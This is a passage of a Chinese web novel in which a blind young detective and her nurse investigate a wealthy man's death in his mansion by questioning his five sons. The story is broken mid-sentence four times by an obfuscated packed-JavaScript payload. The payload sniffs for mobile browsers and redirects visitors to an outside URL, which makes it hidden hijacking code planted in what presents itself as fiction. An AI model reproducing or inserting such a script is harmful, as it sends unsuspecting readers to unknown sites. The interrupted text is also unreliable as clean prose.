原来如此,阿莉雅有些意外自己和埃里克斯·戈登是笔友。难道是因为她是唯一能欣赏对方那种莫名其妙诗句的人吗?虽然用词东拼西凑毫无章法,像是随便堆砌的毫无情绪的幼儿早教课本上的内容,但阿莉雅觉得还挺有趣的。 “担心您反感我们的资助,所以我们才打算先冒充您亲近的人获取信任,对此我鲁希尔·戈登十分抱歉。”最成熟的人摘下帽子行礼致歉,即使阿莉雅看不见,但他仍然做足了礼数。 “如果您介意的话,我们现在就离开这里。” “嗯……”阿莉雅歪着脑袋思考,“我对你们的资助并无意见,不过我并不喜欢接受毫无由来的好意。既然那位纳达夫先生对埃里克斯·戈登的死亡有不同的意见,那么我完全可以帮忙解开谜团。” 纳达夫翠绿的眼瞳亮起光:“真的吗?” “纳达夫!” “请不要对我的委托人态度如此恶劣。”阿莉雅面带不满,“虽然并不知道你的名字,但是我希望各位明白,我接受的是纳达夫·戈登的委托,之后他是否愿意继续委托都应由他本人的意愿决定。” “即使你们取消了资助我也不会放弃完成委托。” 在场的五人互相看了看对方,最后还是年纪最大的鲁希尔开口:“知道了,那么这件事情就拜托阿莉雅小姐了。” “鲁希尔!” “好了,哈里布,你也不要反应地那么激烈。”鲁希尔按住身边人的肩膀,“阿莉雅小姐现在身上诸多不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15145541|164709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便还愿意帮助我们,我们应该坦然地接受她的好意才是。” 阿莉雅挑眉:“那么,请各位重新介绍一下自己吧。” “我是鲁希尔·戈登。” “哈里布……我是父亲的第二个孩子。” “咳咳,阿莉雅小姐你好,我是尤塞恩,是一名模特哦!” “我,戈伦。” “我、我是纳达夫。” 五人按照年龄顺序依次介绍,阿莉雅的记性不错,不过她还是下意识地给五人分配了1-5的号码,方便记录。 咦,记录?在自己脑海中蹦出这个单词后,阿莉雅疑惑地歪了歪脑袋。 “请问,怎么了吗?”尤塞恩见她面露困惑,忍不住开口询问。 “没什么。” 等怀特结束了通讯,回来看见的便是一屋子红棕发的男人围着阿莉雅的病床,她忙护在阿莉雅身前:“几位有什么事吗?阿莉雅小姐需要休息。” “不用紧张,怀特。”阿莉雅安抚地拍了拍她,虽然因为看不见拍到了空气,“他们只是我的委托人罢了。” “委、委托人?”怀特狐疑地一一扫过几人的脸。 “是啊,还记得昨天我让你帮忙摹写的邀请函吗?这几位就是埃里克斯·戈登的儿子。” 啊,邀请函。怀特想起昨天阿莉雅拜托她的事情。一开始她还困惑为什么不让自己直接念给她听,但阿莉雅表示自己想要连笔迹也一同记住,所以让她用了点力把邀请函的内容全部描过一遍。 搞清楚情况后,怀特才放下自己的手臂,不再像张开翅膀的鸡妈妈一样护着身后的小鸡仔了。 “那么,来说说情况吧。”阿莉雅撑着下巴饶有兴致。 戈登家的五人在交换眼神后,鲁希尔作为大儿子率先开口:“事情是在一周前,父亲告知我们要决定遗产的分配将我们全部召集到家中。” “你们先前不住在一起?” “是的。”哈里布,也就是二儿子开口,“父亲在米德戴联盟有多处房产,只不过因为他本人对身体痊愈不抱希望,于是选择了此处,有母亲喜爱的玫瑰花园的小镇上居住。” “来到宅邸的那天,父亲让所有仆人都放假回家了,说是不希望有外人在场。”戈伦,排行第四的孩子接着话题继续,“我们所有人都被父亲一一带入自己的房间,锁了起来。” “锁、锁起来?”怀特捂着嘴重复,“为什么要这么做呢?” 戈伦摇着头苦笑:“我也不明白父亲的用意,大约是想创造单独谈话的空间吧。钥匙都在父亲的手中,如果我们不听话就会被视为自动放弃遗产。” “是的,父亲说会在轮到我们的顺序时给我们开门,到书房谈话。”纳达夫为自己的兄长们提供了证言,“我们也不清楚是根据怎样的顺序进行的谈话。” “但,我是最后一个。”尤塞恩,埃里克斯的第三个儿子抱着脑袋痛苦开口,“我一定是最后一个!因为……” “因为我打开门看见的,就是父亲的尸体。” 5. 贾尼斯基基·第二幕 “真是……好气派的房子。”怀特站在铁门外感叹。 下午两点,戈登家的五个儿子带着怀特和阿莉雅来到位于玫瑰镇附近的宅邸。 “阿莉雅小姐打算从什么地方开始呢?”尤塞恩推开铁门,“果然还是会先选择案发现场吧?” “当然,我希望你能在案发现场重新描述一遍你看见的内容。” * “因为我打开门看见的,就是父亲的尸体。”尤塞恩面露痛苦,“书房的吊灯坠落在地,父亲倒在玻璃碎片中死去。” “那么,是谁给你开的门?”阿莉雅若有所思,“还是说你因为其他事情晚了一步到书房?” “是父亲给我打开的门,这点其他兄弟应该也是一样。”尤塞恩深深呼吸,“他开门后就嘱咐我让我去厨房给他泡一杯红茶,所以我没有和他同一时间回到书房。” “厨房在哪?” “在一楼,书房在三楼。”纳达夫回答。 “尤塞恩的房间又在哪?” 尤塞恩:“我也住在一楼,不过,厨房是在一楼的左侧,我住在最右边。” “还有谁住在一楼?” “我。”鲁希尔摊手,“不过我认为父亲唤我们的顺序和房间的位置无关,毕竟我是第一个被叫进房间里的。” 阿莉雅的手指不自觉地在床上弹动:“你的依据是?” 鲁希尔很是自信:“因为我没有被父亲锁进房间,而是直接跟着他去书房的。” 如果鲁希尔的说法属实,那么已经可以排除按照年龄和房间位置这两个顺序来叫人了。毕竟同在一楼的两人一个是第一,一个是最后。而年龄,虽然鲁希尔确实是最大的那个孩子,但是尤塞恩可是排行第三,怎么想也不会是这样的顺序。 “抱歉,我可以说一句吗?”戈伦举手,“我觉得我是倒数第二个,因为在我回到房间后不久就听见楼上传来动静,然后尤塞恩就慌慌张张地把我的门打开了。” “说到这里,尤塞恩。”哈里布取下他的金框眼镜哈了一口气擦擦,“我一直忘了问,你是怎么拿到的钥匙给我们开门的?” “哈里布,不要怀疑家人。”鲁希尔呵斥他,“尤塞恩,不想解释的话可以不说。” 阿莉雅对于这种家庭伦理的剧目向来是不感兴趣的,她清清嗓子提醒:“先生,我认为这种时候应该做的是坦诚相待,而不是掩饰。如果不让尤塞恩解释清楚,那么他身上的嫌疑可就多加了一层。” 站在一旁的怀特发现,阿莉雅小姐似乎只会直呼尤塞恩的名字,其他人,就算是年纪最小和她差距不大的纳达夫也会加上先生的尊称。 或许只是个人习惯?怀特把疑问压在心头。 “阿莉雅说得对,大哥。”尤塞恩对鲁希尔笑笑表示自己不介意,“我是在书房里捡到的钥匙串,它就在书桌前不远处。我当时觉得需要快点通知其他兄弟,所以没想太多就捡了起来。毕竟我们家的房门……还挺厚实的,凭蛮力大约是打不开的。” “呵,希望事实如此。”哈里布重新架起眼镜。 纳达夫看气氛紧张有些不妙,便接着开口:“我大约是第二个被父亲叫去的,因为我只在房间内等待了一会儿,并没有很久。” “那么这个顺序的依据已经很明确了。”哈里布总结,“我是第三个进去的。很明显,父亲是按照我们出生的月份进行的排序。大哥是1月份出生,所以是第一个,纳达夫是3月,我是8月,戈伦是在10月,尤塞恩在12月。” 阿莉雅没有反驳,但也没有赞成,她提出:“我可以去你们家看看吗?” 五人交换眼色,最后还是鲁希尔拍板:“当然。” * “这里就是书房了。”鲁希尔蹲下身子,让背上的人落地。 阿莉雅从他的背上下来,把手搭在一边的怀特小臂上:“在那之后你们有打扫房间吗?” “是的,对于这点很抱歉。因为二哥……哈里布他说书房乱糟糟的不像样,就让家里的佣人打扫干净。恐怕这里没剩什么线索了。”尤塞恩抱歉地说。 阿莉雅并不在意:“换句话说,还存在这间房间里的线索很有可能是连凶手也并未注意到的。” 在两人交流时,怀特也一直打量着周围的环境。 戈登的宅邸共有三层,最上层便是埃里克斯·戈登的居所,他将正中的房间作为书房使用,两侧分别是他的卧室和收藏室。在最右侧的收藏室和正中的书房中间则腾出了一定的位置给楼梯通行。卧室和书房相邻,最左侧也是楼梯。其他两层的布局也十分类似。 怀特将戈登宅的布局全部牢记于心,方便在阿莉雅开口询问时即使作答。 “你们事发后有报警吗?” “纳达夫报了警,但是警察过来检查之后得出是意外。”尤塞恩挠挠头,“他们觉得是父亲年纪大了,头顶的吊灯也年久失修,所以在吊灯坠落后父亲受到了惊吓,结果摔倒在锋利的碎片上,最后因为失血过多而亡。” “呵,愚蠢。”阿莉雅轻蔑地抬起下巴,“连基本的验尸都没有做就下结论,镇上的警察过于草率了。” “阿莉雅小姐会验尸吗?”怀特轻轻踩上书房的地毯,造价昂贵的真皮地毯就算是穿上鞋踩上去的脚感也不一样。 “当然,不会。” 阿莉雅脑海中虽然有不少杂乱的知识,不过验尸这种体系较为庞大且非常依靠经验的内容她并没有将其整理入脑中。 “验尸是法医的工作,我只是比其他人更擅长将线索串联整合在一起解开谜团,并不意味着我需要把警察、法医的工作一并包揽。”阿莉雅哼哼一笑,“就像眼前明明就有很多异常,但是大家完全都没有察觉一样。” 闻言,在场的两人环顾书房,最后面面相觑。 “请问,眼前的异常是什么?”怀特小心翼翼地开口。她和尤塞恩先生都没有发现书房中的异常,难道说是只有闭上眼睛才能察觉到的事情?所以只有阿莉雅小姐一个人发现了。 “显然,我指的不是书房。”阿莉雅撇嘴,“你们在期待一个仅在房间里走了两步的失明少女发现什么?这个世界又不存在超能力,我可没有走近案发现场就能回溯时空重现案发场景的能力。” 怀特尴尬笑笑:“哈、哈哈……您说得是。” “那小阿莉雅指的是什么呢?”尤塞恩对此很是好奇。 “这种事情你们不应该是最清楚的吗?”阿莉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15145542|164709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雅反问回去,随后转移了话题,“怀特,把你看见的都描述一下。” “好的。” 怀特尽量用最客观的语言描述这间书房:“据我们大概五米的位置有一张书桌,书桌上方有很大的水晶吊灯,距书桌三米远的位置则是落地窗,推开落地窗是一块小阳台。位于我们左边的是……” 阿莉雅在脑海中构建了一个简单的书房,将书桌、吊灯、落地窗的位置都依次摆好。“尤塞恩,吊灯和书桌的位置和以前比有变化吗?” “没有。”尤塞恩回想了一下摇头,“我记得父亲有特意叮嘱,装修的时候要把书桌放在吊灯正下方才行。” “介意再描述一遍你当时推开门看到的场景吗?”阿莉雅说,“最好闭上眼睛,回忆那天的情况,描述的越详细越好。” 尤塞恩犹豫了一下:“这个……” “我已经可以肯定地告诉你,你们父亲的死亡并不是意外,是他杀。”阿莉雅神情严肃,“不管你们之前怎么想,但是埃里克斯·戈登的死亡绝对不会是因为吊灯坠落的原因。” “假设他是坐在书桌前,那么吊灯一定会砸到他的脑袋。假设他是站在附近,那么吊灯的碎片也不会、至少没有到洒落一地导致他死亡的程度,吊灯只会撞击到桌面。” “怀特,你坐在书桌前试试。” “好的。”怀特松开扶着阿莉雅的手,上前绕到椅子前坐下。 “阿莉雅小姐,吊灯距离我的头还是有些距离的。”抬头看见空空的天花板,怀特继续补充,“如果我低下头,吊灯应该也不会砸到我的脑袋,除非我的上半身都趴在书桌上。” “嗯。”虽然和她在脑内演示的有些误差,不过结论并没有改变,“尤塞恩,说吧。” 深吸一口气,尤塞恩点头:“好。我在厨房给父亲泡好红茶后,直接上到三楼,敲门后里面没有回应我就直接打开了房门。” “开门后,父亲的尸体就趴在一地的碎片上,吊灯掉在一旁,地上全是血。” “血量大概有多少?” “我觉得大概有……” “以一米的床单为单位,血迹大约占多少面积?”阿莉雅换了种询问的方式。 “我觉得大约有半个一米的床单那么多吧。” “你刚才形容的是‘父亲趴在地上’,所以他是背面朝上的?” “是、是的。”尤塞恩肯定。 “钥匙呢?” “钥匙,钥匙大约在刚进门没多远的位置。”尤塞恩带着阿莉雅走到他捡到钥匙的位置,“就是这里。” 阿莉雅伸手往前摸了摸,手臂绷直后直接触碰到了门:“这是不可能的。书房的门是向内推的,按照你描述的这个位置,钥匙只会在你推门的时候被跟着木门一起挪动到门后。只是一枚钥匙倒还可能,但是我记得你们说得是钥匙串?” 尤塞恩有些着急:“我没有说谎,真的是在这个位置,或许是下面的门缝比较大……” “我没有指责你。”阿莉雅冷静地拍了拍他的胳膊,“人在慌乱情况下会有轻微的记忆错乱是很正常的。当然,也有一种可能,当时在这个房间的不止你一个人。” “凶手当时就藏在门后。” 6. 贾尼斯基基·第三幕 “就、就在门后?”尤塞恩紧张地吞下唾沫,“是谁?” “现在还不知道。”阿莉雅招招手让怀特过来,“有没有钥匙串?” 怀特身上只有家门钥匙和医院的储物柜串成的钥匙串,她把挂着两串钥匙的串串交给阿莉雅:“这样可以吗?” “和当时的钥匙串大小差不多。”尤塞恩凑近确认后下了结论。 “那就来做个实验吧。”阿莉雅让尤塞恩把钥匙串放在原地,推拉门试试看。 就如她所说,钥匙串果然无法通过门下的缝隙。 “所以说,当时凶手和我只隔了一扇木门吗?”尤塞恩的声音都有些变调,“太可怕了……” 阿莉雅又走到书桌面前弯腰摸了摸:“这里的书桌有挡板啊。” “是的,这个挡板能够遮住腿,几乎没有缝隙。”怀特在一边覆上阿莉雅的手背带她摸了摸桌下。 “那尤塞恩是在哪里看见的尸体?”阿莉雅原本以为尸体是倒在书桌后,“你是在桌前看见的?” “是的。”尤塞恩愣了一些连忙应答,“就是在桌子前的位置。” “哼,这样啊。”阿莉雅不满地皱起鼻子,“我现在开始觉得麻烦了。” 她指的是自己看不见这件事,不过怀特和尤塞恩似乎都误会是案件变得麻烦,两人都不敢多说话,害怕打断她的思考。 沿着桌子走了几步,阿莉雅叫怀特过来:“助手,带我去阳台。” 怀特上前,牵着她打开了落地窗,午后的风很是舒服,吹得阿莉雅像只猫咪一般眯起了眼睛。 提到助手一次,怀特想起来因为意外打断还没来得及通知阿莉雅的事情:“阿莉雅小姐,我在不久前联系到了您的助手。” “助手?”阿莉雅恍然大悟,“原来如此。” “什么?” “一切都说得通了,”阿莉雅用手撑着阳台的栏杆,语气愉悦,“碎片式记忆中经常给我洗衣服做饭的是助手,和男朋友是两个人呢。” 怀特不理解,但她尊重:“那真是太好了,您的男朋友不是妄想出来的存在。说起来,我以为您说完是助手洗衣服做饭后,会直接否定有一个恋人。” 阿莉雅摸着栏杆敲敲打打,还不忘回答问题:“你说得没错,我确实很想否认。但是只要想起有那么一双漂亮的眼睛,我大脑中的多巴胺就像喷泉一样不断涌出。” “我可以了解一下,是什么颜色的眼睛吗?或许能够帮助您更好地找到恋人?”虽然怀特觉得如果真的是阿莉雅小姐的男朋友,那么肯定会马不停蹄地赶来找她吧。 “很好的问题,我也不知道。”阿莉雅双手叉腰,“都说了是碎片式的记忆,我只记得我夸过他的眼睛很漂亮。” “哈……”怀特幽幽叹气,总觉得阿莉雅小姐在某些时候不太靠谱。 “那我的助手什么时候能赶到?” “我记得今天从齿轮市开往玫瑰镇的列车停运了,据说是为了明天的豪华列车首次发车进行准备。”怀特努力回想。“发车时间是在明天的九点之后,行驶到我们这里的时间是在上午十点……从齿轮市到这里最早的一班大概也要十点半以后了,三个小时的行驶时间……差不多在下午一点左右可以到达吧。” “说起来,那个豪华列车似乎很特别,有一个贵宾专属车厢里的座位是可以旋转的。”怀特眼睛亮晶晶的,“是像花朵一样的分布,据说是四个大片的花瓣和中间一块小的花蕊。” 阿莉雅很不看气氛地说:“肯定是花蕊处的票价更贵吧。只要是位于中间的位置,不管大小,肯定是要比其他位置的价格翻一倍的。”毕竟有钱人更在乎“中心位置”呢。 虽然阿莉雅的话有些破坏气氛,但是怀特还是很期待这辆列车:“因为外圈的旋转是四片花瓣一起进行的,但是中间的花蕊是不同的。” “怀特很了解呢,”阿莉雅在知道要等到明天下午才能回去后就变得丧丧的,对于会旋转的豪华包厢也没什么兴趣。“蒸汽马车也不行吗?” 怀特笑笑,阿莉雅小姐果然还是个小孩子,“蒸汽马车只能短途行驶,如果超过市区范围恐怕就得额外付租赁费,而且从齿轮市到这里至少也需要十几个小时,中间还需要补充蒸汽马车的燃料,那又是一笔不小的费用。” “好吧。”阿莉雅耸肩,“我本来也没抱太大希望。”蒸汽马车不适合长途远行这种知识她还是有的。 “怀特,你仔细检查一下这里的围栏,有没有奇怪的地方。比如血迹、破损之类的。” 虽然戈登宅共有两个楼梯,但是想要完全避开其他人回到自己的房间也有一定的难度。鲁希尔曾提过,家里所有的钥匙都只有一把。凶手要如何瞒过所有人的视线,在没有钥匙的情况下回到房间等待自己的兄弟开门? 是的,阿莉雅已经可以确信这是五兄弟中的一人犯下的罪行。小镇偏远,民风淳朴,从愚蠢的警察就可以看出来这个小地方的犯罪率是多么低了。入室抢劫?不可能,五人都未曾提起财物缺失。预谋杀人?得了吧,埃里克斯本来也活不长,就算是想要亲手复仇,一小块玻璃碎片刺入心脏就足够了吗? 除了这些,阿莉雅也有其他证据能够证明是五兄弟中的某人作案,他们脱口而出的话语完全暴露了潜伏在表面之下的心思。 “这里!有红色的痕迹,像是……指纹?”怀特尽量客观地描述自己的所见,“只有一个拇指的半截指纹,向内按在了栏杆扶手的下方。” “我们是不是该用指纹对比的方法找出犯人?”为自己的发现感到激动,但还记得书房的门口有个尤塞恩在注视着她们,所以压低了声音。 “比对指纹很麻烦,那是警察的工作。”阿莉雅摇摇头,“我只需要知道这一点就好,现在我们去其他房间看看。” 尤塞恩是个好导游,他尽职尽责地带两人逛了一圈三层的房间,然而除了书房的线索外,都是些没用的信息。 “我不能带你们去其他人的房间。”尤塞恩为难开口,“就算是兄弟,我们也格外注重自己的私人空间,不会轻易让人进入。更何况……” “更何况有我们两个外人。”阿莉雅表示理解,“那你带我们去你的房间看看吧。” 尤塞恩很想拒绝,但是看到阿莉雅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15145543|164709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经做好下楼的准备他只能无奈叹气:“好的。”随后蹲下,圈住阿莉雅的小腿背着她下楼。 没办法,谁让她是阿莉雅·科洛桑呢?为了他的美好前程,冲! 尤塞恩的房间并不像怀特想象的那样华丽,而是很普通整洁的房间。 “虽然父亲长居在这座宅邸,但我们几人都有工作要做。”尤塞恩解释道。言下之意便是,他不常住在这里。 代替无法视物的小小侦探环顾此处,怀特敏锐地注意到了摆在床头的瓶瓶罐罐:“这些是?” 尤塞恩有些尴尬地咳嗽两声,把东西收进了床头柜:“是我减肥用的药。因为我的职业需要长期保持身材,所以父亲会让人给我备着药。” “即使你们不常来这里?”阿莉雅饶有兴致地在窗户边敲敲打打。怀特见那附近没有什么尖锐物品便随她去了。 “是的。不止我,戈伦还有纳达夫他们的安眠药也都备着。”尤塞恩补充,“哈里布兄长治疗焦虑症的药物也有。”他不知道药物具体的名字,只知道大概是用来治疗什么的。 “……你们家的药物储备还真是丰富。”阿莉雅皱眉,“窗户外面是花园吗?” 尤塞恩上前把窗户打开:“是的,不过这里能看见的风景有限。欣赏花园的最好视野在纳达夫的房间。” “不是书房?” “父亲的眼睛不太好,所以他没有什么兴趣欣赏风景。” “说起来,你们五人都没有让法医进行验尸吗?” “这个……其实我在给其他兄弟开完门没多久,警察就到了。他们和大哥他们了解完情况后就收工走人了。”尤塞恩吞吞吐吐,“因为父亲死亡本就会影响公司发展,大哥二哥说,如果这时候再让法医查到疑点传出风声,恐怕会谣言四起,对公司的发展不利。” 把窗户里里外外摸了一遍,阿莉雅双手撑着窗沿就翻到了外面:“连我都能翻出来呢。” 怀特也跟上她的动作翻到花园:“这扇窗户的大小完全可以让两个成年男性通过。” “但是这是不可能的,父亲把我们锁进房间后我也试过从窗户出去,锁得很紧。”尤塞恩知道她们在想什么,否决了这种可能。 阿莉雅抬头看向二楼:“怀特,二楼有阳台吗?” “有的,就在三楼书房的正下方有一个。” 打了一个清脆的响指,阿莉雅哼着歌又翻进了房间:“这样子的话就差不多了,是不是快到饭点了?我感觉周围的视野有变暗。” 翻窗翻到一半,怀特抬手确认手表上的时间:“是的,现在已经五点半了。” “那晚饭就在这里解决吧。”阿莉雅独自下了决定,也没管戈登家的人有没有邀请。 在一旁听了全程的尤塞恩又是一阵叹气,他任劳任怨地去厨房和今天的主厨商量晚餐的事情。 阿莉雅脚步轻快地跟上,还不忘招呼怀特快点。 “对了阿莉雅小姐,”怀特伏在她耳边悄声说,“我总觉得这栋房子的布局有些奇怪,刚刚从窗外看就感觉更明显了。” “这栋房子的外观……很像人脸呢。” 7. 贾尼斯基基·第四幕 “晚餐可以多一份鹅肝吗?我想配着红酒吃。” 尤塞恩走向厨房的时候,他的四弟戈伦正和厨师长商量着多加一道菜。 “没问题,戈伦少爷。”圆滚滚的厨师乐呵呵地眯起眼睛,“那位金发的小姐今晚也一同用餐吗?” “是的。”尤塞恩应声,“要麻烦您多加两人份的餐点了。” “另一位小姐也?” “没错。” 阿莉雅听见晚餐有了着落后转身就往客厅走,她在怀特的帮助下窝在一处单人沙发里,等待今天的晚饭。 “阿莉雅小姐,您已经知道凶手是谁了吗?”怀特半蹲在沙发旁悄悄问,“我们要不要先报警告诉警察这件事?” “嗯?”被怀特提醒后金发的少女便拍拍她的肩,“那便交给你了,助手。”说完这句话,阿莉雅就整个人缩进沙发里不愿动弹了。 怀特只能找个借口去了一趟厕所,按下随身携带的报警器,凑近对讲的位置把情况如实汇报。只是在警察问道是否知道凶手是谁时,怀特卡壳:“……呃、这个,我们已经有了证据,只是在对方露出破绽前不能轻举妄动,所以我们希望各位能现在出发,戈登宅邸离镇上还有些距离。如果不能当场抓获,恐怕之后就会增加难度。” 好在玫瑰镇的警察们没有什么案件侦办的经验,直接相信了怀特的话。如果换到齿轮市,恐怕要一五一十地交代清楚才行。 怀特松了一口气,有了警察的支援,她也不用担心会在大晚上被宅邸里的其他人永久地“封口”了。 从厕所出来,怀特抬眼看向阿莉雅的位置,发现那边多出一个人——戈登家最小的孩子,纳达夫。 “这幅画像送给你。”纳达夫手里拿着一幅金发少女的肖像画,显然,画的是阿莉雅。“虽然你说是委托,但是我所有的钱都用来买画具了,现在能拿出手的只有这个了。” 向一个失明的人送画像有些过于黑色幽默了。阿莉雅接过画像,手上的触感告诉她,这不单单只是一幅肖像画。 “我用了黏土,把画像处理出了纹理。”纳达夫不好意思地挠了挠脸,“这样阿莉雅小姐也可以摸到了。” “真是大工程呢。”还没走近,怀特就听见阿莉雅黏黏糊糊的尾音。“这个恐怕花了很多时间吧?” “还好啦……” 伸着脑袋端详了一番阿莉雅小姐的画像,怀特只有两个字的感想:“真像。” “肖像画当然会和本人像吧。”阿莉雅沿着黏土的起伏仔细摸着,“是头像呢。” “这个看上去很像裙子呢。”怀特摸了摸只画了一小截的肩,“虽然只露出来了一小部分,不过也能看出来是条很精致的裙子。纳达夫先生很用心。” 晚餐端上餐桌时,怀特一直屏气,她的眼珠子在戈登家的几人间转了转,然后又默默低下头,切着自己的牛排不敢说话。 在她对面,哈里布神色不耐,鲁希尔面上带笑。两人安安静静地用餐,但是气氛很微妙。 “鲁希尔,趁着其他三个人都在,我们也早些定下公司的新任领导吧。”哈里布率先打破凝重的气氛。 作为兄长的鲁希尔慢条斯理地吃下最后一块牛肉,用餐巾擦拭嘴:“我不认为这是个好时候。” “那你的‘好时候’究竟是在何时?”哈里布冷笑,“父亲死后,公司虽然没有大受打击,但再不定下恐怕就会有其他人冒出不该有的想法了。” “其他人?”鲁希尔挑眉,“是说你那些狐朋狗友?你不会真的信了他们说的话了吧。” “那个……大哥,二哥他应该不是这个意思……”尤塞恩弱弱开口。 “闭嘴,尤塞恩。”哈里布怒目视他,“说来说去,还不是因为你不愿意进公司帮我们分担工作,才会导致现在的情况。你知道有多少人想从戈登家手里吞下公司吗?” 好心帮忙却被骂的尤塞恩抿唇,他觉得自己还是闭嘴吧。 哈里布不依不饶:“自从你非要去当什么模特之后,戈伦和纳达夫也有样学样跑去不务正业了。要是我们兄弟五人都在公司,我也不至于在这种场合提起。” 被点名的三个弟弟都低下头不说话,老老实实地消灭自己盘中的餐点。这种紧张的氛围也影响了怀特,她大气都不敢出,放置刀叉都格外轻。 “麻烦再来一个!”欢快的声音打破了此时的宁静,阿莉雅举着手晃晃,“这里——还想追加一份可颂!” “好的,您请用。”厨师长端着托盘给她加了一块,“还有纳达夫少爷,您的,老样子。” “谢谢。” 戈伦晃着红酒杯轻笑:“纳达夫还是老样子,喜欢在晚餐时吃两份可颂。” “是啊是啊,上次只有一份时很可惜吧。”尤塞恩摇着头。“哎呀,不过阿莉雅小姐看上去更胜一筹呢,她已经吃了三份了。” “说不定能再吃一份。” “不能哦。”阿莉雅一本正经地摇头,“最多吃下三个。” 厨师长站在阿莉雅身后帮她把盘子撤下,心情舒畅:“很好,这次份量没错。”小声的嘟囔没被其他人注意。 “那么,阿莉雅小姐也该给出答案了吧。”鲁希尔微笑看向对面的金发少女,“您调查的结果如何?” “好吧,结论一共有三个。”阿莉雅回答,“第一个,我不是第一次来到戈登宅。” “诶?”怀特惊呼,在发觉只有她一人出声后立马捂住嘴巴。环顾其他五人的表情,他们似乎并不意外。 “怀特,还记得那份邀请函吗?我是被埃里克斯·戈登拜托来此,作为宣布遗产分配的见证人的。只不过在我赶到前,埃里克斯·戈登就逝世了。” 鲁希尔打断她的话:“阿莉雅小姐,我们只关心案件的结果。” “我说的就是案件的结果。”阿莉雅皱眉,她不喜欢被人打断。 “桌上一共七个人,但是厨师长却刚好做了十个可颂,除了一贯用餐需要吃两个可颂的纳达夫先生外,只需要做八份就足够其他人各一个可颂了。” “多一个可颂而已,能证明什么?”哈里布冷哼。 “看来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15145544|164709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哈里布先生还不明白,所谓的推理就是从微不足道的小细节开始。”阿莉雅摊手,“比如,尤塞恩刚刚提到的‘上次只有一份很可惜’,再比如,厨师长说过的那句‘那位金发的小姐今晚也一同用餐吗?’。又或者,是你们对我提出的,接下纳达夫先生的委托一事毫不意外的反应。” “当一个正常人置身于医院,在听到‘委托’这个单词之后,下意识都会疑惑是什么意思。换句话说,你们在听见我接下委托时,完全没有多余的反应,连疑问都没有,这就证明你们在那之前就认识我。” “刚好的十份可颂,大约就是因为我上次拜访时留下用餐,一份可颂无法满足我,纳达夫先生就把他多出来的一份让给了我。这也是为什么尤塞恩会说‘上次’。但显然,两份可颂也不够,所以厨师长对我留有印象,在今天又一次见到我后为我制作了三份。当然,还有更为直观的证据,一幅画像。” “这幅画像使用了黏土进行制作,虽然我无法分辨种类,但最快也至少需要一天的时间才能风干吧。” “所以说,这些内容和你调查的结果——” “紧密相关。”阿莉雅对于自己被第二次打断很不满,“只说结论你们又会嚷嚷我骗人,所以我才好心把自己的推理过程分享的。” 避免再次被打断,阿莉雅加快语速:“第二个结论,你们都对埃里克斯·戈登下手过。” 没给其他人机会,她继续说:“手段当然就是最简单的方法——下药了。尤塞恩曾说过,埃里克斯让他去泡一杯红茶,在座的几位应该也被这么命令过吧。” “当最后一位进入书房看见尸体的人提到自己泡红茶,而其他人却毫无反应,甚至没有怀疑过凶手就是最后的那人,也没有质疑红茶有问题,这反而说明了问题。” “你们都在红茶里动手了,对吧?” 餐桌死一般的宁静,无人应声。 怀特观察了一圈几人的表情。阿莉雅小姐说得恐怕是真的。怀特默默咽了口水。这些人的表情都很不妙啊…… 这次没人打断她的话,阿莉雅满意地点头:“那么,最后一个结论,凶手就在你们之中。” “诶,不应该说凶手是谁吗?”怀特不小心把内心所想念了出来,在察觉到其他人的视线后立刻低下头,捏紧了手里的报警器。警察还没到吗……报警器怎么还没震动啊…… “阿莉雅小姐可以直说无妨。”鲁希尔扶了扶眼镜,“虽然我并不认可你的结论。” “不认可?”阿莉雅挑眉,“我不需要你的认可。我只是负责发现细节、串起细节、得出结论,你认可与否对我来说毫无意义。” “啧。”哈里布轻啧。这个小姑娘真是难缠,他们的资助对她来说不痛不痒。也不能就这么赶走,毕竟她掌握了戈登家的秘密。如果让她消失……不行,她是和那个护士一起来的,医院的人都知道这件事。 